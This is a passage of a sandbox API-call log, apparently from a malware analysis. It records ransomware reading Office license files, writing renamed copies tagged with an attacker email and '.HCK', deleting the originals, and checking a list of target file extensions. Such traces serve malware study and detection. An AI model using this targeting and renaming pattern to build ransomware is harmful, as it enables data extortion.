returned 0x54c [0235.593] GetLastError () returned 0x0 [0235.593] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x512c, lpOverlapped=0x0) returned 1 [0235.596] WriteFile (in: hFile=0x54c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x5130, lpOverlapped=0x0) returned 1 [0235.598] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.598] WriteFile (in: hFile=0x54c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10a, lpOverlapped=0x0) returned 1 [0235.598] SetEndOfFile (hFile=0x54c) returned 1 [0235.598] CloseHandle (hObject=0x54c) returned 1 [0235.598] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.598] SetEndOfFile (hFile=0x454) returned 1 [0235.601] CloseHandle (hObject=0x454) returned 1 [0235.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1 [0235.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.603] lstrlenW (lpString=".doc") returned 4 [0235.603] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString=".docx") returned 5 [0235.603] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.603] lstrlenW (lpString=".pdf") returned 4 [0235.603] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString=".xls") returned 4 [0235.603] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString=".xlsx") returned 5 [0235.603] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.603] lstrlenW (lpString=".ppt") returned 4 [0235.603] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.603] lstrlenW (lpString=".zip") returned 4 [0235.603] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString=".rar") returned 4 [0235.603] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString=".bz2") returned 4 [0235.603] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString=".7z") returned 3 [0235.603] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.603] lstrlenW (lpString=".dbf") returned 4 [0235.603] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.603] lstrlenW (lpString=".1cd") returned 4 [0235.603] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.603] lstrlenW (lpString=".jpg") returned 4 [0235.603] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.603] lstrlenW (lpString=".doc") returned 4 [0235.603] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.603] lstrlenW (lpString=".docx") returned 5 [0235.603] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.603] lstrlenW (lpString=".pdf") returned 4 [0235.604] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.604] lstrlenW (lpString=".xls") returned 4 [0235.604] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.604] lstrlenW (lpString=".xlsx") returned 5 [0235.604] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.604] lstrlenW (lpString=".ppt") returned 4 [0235.604] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.604] lstrlenW (lpString=".zip") returned 4 [0235.604] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.604] lstrlenW (lpString=".rar") returned 4 [0235.604] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.604] lstrlenW (lpString=".bz2") returned 4 [0235.604] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.604] lstrlenW (lpString=".7z") returned 3 [0235.604] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.604] lstrlenW (lpString=".dbf") returned 4 [0235.604] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.604] lstrlenW (lpString=".1cd") returned 4 [0235.604] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0235.604] lstrlenW (lpString=".jpg") returned 4 [0235.604] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.604] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.604] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30 [0235.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.605] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11587) returned 1 [0235.605] CloseHandle (hObject=0x454) returned 1 [0235.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0235.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.606] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.606] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0235.607] GetLastError () returned 0x0 [0235.607] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d43, lpOverlapped=0x0) returned 1 [0235.609] WriteFile (in: hFile=0x54c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0235.609] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.609] WriteFile (in: hFile=0x54c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x110, lpOverlapped=0x0) returned 1 [0235.610] SetEndOfFile (hFile=0x54c) returned 1 [0235.610] CloseHandle (hObject=0x54c) returned 1 [0235.610] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.610] SetEndOfFile (hFile=0x454) returned 1 [0235.953] CloseHandle (hObject=0x454) returned 1 [0235.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0235.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.954] lstrlenW (lpString=".doc") returned 4 [0235.954] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.954] lstrlenW (lpString=".docx") returned 5 [0235.954] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.954] lstrlenW (lpString=".pdf") returned 4 [0235.954] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.954] lstrlenW (lpString=".xls") returned 4 [0235.954] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.954] lstrlenW (lpString=".xlsx") returned 5 [0235.954] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.955] lstrlenW (lpString=".ppt") returned 4 [0235.955] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.955] lstrlenW (lpString=".zip") returned 4 [0235.955] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString=".rar") returned 4 [0235.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString=".bz2") returned 4 [0235.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString=".7z") returned 3 [0235.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.955] lstrlenW (lpString=".dbf") returned 4 [0235.955] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.955] lstrlenW (lpString=".1cd") returned 4 [0235.955] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.955] lstrlenW (lpString=".jpg") returned 4 [0235.955] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.955] lstrlenW (lpString=".doc") returned 4 [0235.955] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString=".docx") returned 5 [0235.955] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.955] lstrlenW (lpString=".pdf") returned 4 [0235.955] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString=".xls") returned 4 [0235.955] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.955] lstrlenW (lpString=".xlsx") returned 5 [0235.955] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.956] lstrlenW (lpString=".ppt") returned 4 [0235.956] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.956] lstrlenW (lpString=".zip") returned 4 [0235.956] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.956] lstrlenW (lpString=".rar") returned 4 [0235.956] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.956] lstrlenW (lpString=".bz2") returned 4 [0235.956] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.956] lstrlenW (lpString=".7z") returned 3 [0235.956] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.956] lstrlenW (lpString=".dbf") returned 4 [0235.956] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.956] lstrlenW (lpString=".1cd") returned 4 [0235.956] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0235.956] lstrlenW (lpString=".jpg") returned 4 [0235.956] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.956] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.956] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24 [0235.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.957] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=20901) returned 1 [0235.957] CloseHandle (hObject=0x454) returned 1 [0235.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0235.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.958] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.958] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.958] GetLastError () returned 0x0 [0235.958] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x51a5, lpOverlapped=0x0) returned 1 [0235.960] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0235.961] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.961] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x104, lpOverlapped=0x0) returned 1 [0235.961] SetEndOfFile (hFile=0x3bc) returned 1 [0235.962] CloseHandle (hObject=0x3bc) returned 1 [0235.962] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.962] SetEndOfFile (hFile=0x454) returned 1 [0235.964] CloseHandle (hObject=0x454) returned 1 [0235.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1 [0235.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.965] lstrlenW (lpString=".doc") returned 4 [0235.965] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.965] lstrlenW (lpString=".docx") returned 5 [0235.965] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.965] lstrlenW (lpString=".pdf") returned 4 [0235.965] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.965] lstrlenW (lpString=".xls") returned 4 [0235.965] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.965] lstrlenW (lpString=".xlsx") returned 5 [0235.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.965] lstrlenW (lpString=".ppt") returned 4 [0235.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.965] lstrlenW (lpString=".zip") returned 4 [0235.966] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".rar") returned 4 [0235.966] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".bz2") returned 4 [0235.966] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".7z") returned 3 [0235.966] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.966] lstrlenW (lpString=".dbf") returned 4 [0235.966] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.966] lstrlenW (lpString=".1cd") returned 4 [0235.966] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.966] lstrlenW (lpString=".jpg") returned 4 [0235.966] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.966] lstrlenW (lpString=".doc") returned 4 [0235.966] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".docx") returned 5 [0235.966] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.966] lstrlenW (lpString=".pdf") returned 4 [0235.966] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".xls") returned 4 [0235.966] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".xlsx") returned 5 [0235.966] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.966] lstrlenW (lpString=".ppt") returned 4 [0235.966] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.966] lstrlenW (lpString=".zip") returned 4 [0235.966] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".rar") returned 4 [0235.966] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".bz2") returned 4 [0235.966] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.966] lstrlenW (lpString=".7z") returned 3 [0235.967] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.967] lstrlenW (lpString=".dbf") returned 4 [0235.967] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.967] lstrlenW (lpString=".1cd") returned 4 [0235.967] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0235.967] lstrlenW (lpString=".jpg") returned 4 [0235.967] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.967] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.967] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27 [0235.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.968] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11591) returned 1 [0235.968] CloseHandle (hObject=0x454) returned 1 [0235.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0235.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.968] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.969] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.969] CreateFileW 